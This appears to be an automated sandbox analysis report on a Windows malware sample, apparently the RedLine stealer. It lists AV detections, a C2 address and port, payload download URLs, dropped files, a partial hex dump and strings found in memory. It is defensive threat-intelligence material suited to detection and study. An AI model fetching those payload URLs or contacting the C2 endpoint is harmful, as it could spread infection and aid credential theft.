Windows Analysis Report VYeSXonMT1.exe

AV Detection:

Found malware configuration

Source: 4.2.mopnns.exe.49d0000.5.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["185.215.113.15:21508"], "Bot Id": "mix25.11"}

Multi AV Scanner detection for submitted file

Source: VYeSXonMT1.exe

Virustotal: Detection: 50%

Perma Link

Multi AV Scanner detection for domain / URL

Source: http://blairwitch.top/work/mix.exe

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

ReversingLabs: Detection: 82%

Machine Learning detection for sample

Source: VYeSXonMT1.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe

Joe Sandbox ML: detected

Antivirus or Machine Learning detection for unpacked file

Source: 0.2.VYeSXonMT1.exe.3990e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.VYeSXonMT1.exe.3a60000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Compliance:

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Unpacked PE file: 0.2.VYeSXonMT1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\blair\mopnns.exe	Unpacked PE file: 4.2.mopnns.exe.400000.0.unpack

Uses 32bit PE files

Source: VYeSXonMT1.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Uses new MSVCR Dlls

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 5.9.162.45:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.9.162.45:443 -> 192.168.2.6:49769 version: TLS 1.2

Binary contains paths to debug symbols

Source:	Binary string: _.pdb source: mopnns.exe, 00000004.00000002.468644721.0000000002185000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.475297379.00000000049D0000.00000004.00020000.sdmp, mopnns.exe, 00000004.00000003.402292014.000000000074A000.00000004.00000001.sdmp
Source:	Binary string: C:\xohare dolihupabimig\kaluyix\73.pdb source: VYeSXonMT1.exe
Source:	Binary string: C:\bol\voge hixolub\yebu\losevoduzih-fayipa\weginitowa\gevopit.pdb source: mopnns.exe, 00000004.00000000.396223546.0000000000438000.00000002.00020000.sdmp, mopnns.exe.0.dr
Source:	Binary string: C:\xohare dolihupabimig\kaluyix\73.pdbP source: VYeSXonMT1.exe
Source:	Binary string: 5C:\bol\voge hixolub\yebu\losevoduzih-fayipa\weginitowa\gevopit.pdb0= source: mopnns.exe, 00000004.00000000.396223546.0000000000438000.00000002.00020000.sdmp, mopnns.exe.0.dr

Spreading:

Yara detected Autohotkey Downloader Generic

Source: Yara match	File source: 0.2.VYeSXonMT1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.405540255.00000000004CE000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VYeSXonMT1.exe PID: 6972, type: MEMORYSTR

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004770E0 FindFirstFileW,FindClose,GetFileAttributesW,		0_2_004770E0
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00477170 _wcschr,_wcschr,_wcschr,FindFirstFileW,FindClose,_wcschr,FindFirstFileW,FindClose,		0_2_00477170
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_00444070 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,		0_2_00444070
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	Code function: 0_2_004443B0 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,		0_2_004443B0

Networking:

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 185.215.113.15 ports 21508,0,1,2,5,8

May check the online IP address of the machine

Source: C:\Users\user\Desktop\VYeSXonMT1.exe	DNS query: name: iplogger.org
Source: C:\Users\user\Desktop\VYeSXonMT1.exe	DNS query: name: iplogger.org

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\VYeSXonMT1.exe

File created: arinesp.exe.0.dr

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Downloads executable code via HTTP

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 25 Nov 2021 17:23:43 GMTServer: Apache/2.4.38 (Debian)Last-Modified: Wed, 24 Nov 2021 20:15:01 GMTETag: "47600-5d18e834737b3"Accept-Ranges: bytesContent-Length: 292352Connection: closeContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 03 34 fe 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 6a 03 00 00 66 01 00 00 00 00 00 9b 2c 00 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 04 00 00 04 00 00 a3 a7 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 ef 03 00 78 00 00 00 00 70 04 00 78 75 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 81 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 9c 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 69 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 26 78 00 00 00 80 03 00 00 7a 00 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 62 00 00 00 00 04 00 00 18 00 00 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 75 00 00 00 70 04 00 00 76 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 185.215.113.15 185.215.113.15
Source: Joe Sandbox View	IP Address: 185.215.113.15 185.215.113.15

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.6:49772 -> 185.215.113.15:21508

URLs found in memory or binary data

Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: VYeSXonMT1.exe, 00000000.00000002.405540255.00000000004CE000.00000040.00020000.sdmp, VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/jollion/apines.exe
Source: VYeSXonMT1.exe, 00000000.00000002.406204176.0000000003A60000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/jollion/apines.exearinesp.exe?
Source: VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/jollion/apines.exet
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000002.405540255.00000000004CE000.00000040.00020000.sdmp, VYeSXonMT1.exe, 00000000.00000002.406187807.0000000003A41000.00000040.00000001.sdmp, VYeSXonMT1.exe, 00000000.00000003.374963665.0000000003B10000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/work/mix.exe
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/work/mix.exe5
Source: VYeSXonMT1.exe, 00000000.00000002.406204176.0000000003A60000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/work/mix.exemopnns.exe?
Source: VYeSXonMT1.exe, 00000000.00000002.406411252.0000000003FD0000.00000004.00000001.sdmp	String found in binary or memory: http://blairwitch.top/work/mix.exep
Source: VYeSXonMT1.exe, 00000000.00000002.406356818.0000000003F70000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470406692.0000000002A0C000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469912099.0000000002838000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: mopnns.exe, 00000004.00000002.470687600.0000000002ACA000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.469502424.0000000002711000.00000004.00000001.sdmp, mopnns.exe, 00000004.00000002.470098742.00000000028F7000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mopnns.exe, 00000004.00000002.468922546.0000000002481000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: mopnns.exe, 00000004.00000002.468998375.0000000002517000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
